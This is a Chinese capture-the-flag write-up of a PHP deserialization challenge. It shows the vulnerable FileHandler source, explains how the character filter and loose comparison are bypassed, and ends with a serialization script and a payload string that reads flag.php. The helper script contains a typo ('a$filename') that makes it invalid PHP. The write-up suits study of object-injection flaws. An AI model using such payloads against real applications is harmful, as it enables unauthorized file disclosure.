[网鼎杯 2020 青龙组]AreUSerialz1

整体源码如下：

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这是一道反序列化题目，首先看输入部分：

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid是作者创建的用来过滤的函数，然后执行反序列化，这里会调用__destruct(),而不会调用__construct()，因为没有用new实例化一个对象

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

遍历我们的输入，过滤编码小于32和大于125的字符

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这个页面包含了flag.php, 这个类在process函数中通过op属性选择执行read或write函数，我们的目的是用read函数读取flag.php,并由output函数输出

所以op == "2"且op!=="2"且filename="flag.php"

下面开始序列化：

<?php
class FileHandler {
    public $op=2;
    public a$filename="flag.php";
}
$str= new FileHandler();
$a=serialize($str);
echo $a;
?>

注意不能用protected，它在序列化后会出现不可见字符%00*%00

而%00转化为ascii码会被is_valid()过滤掉

payload：

str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}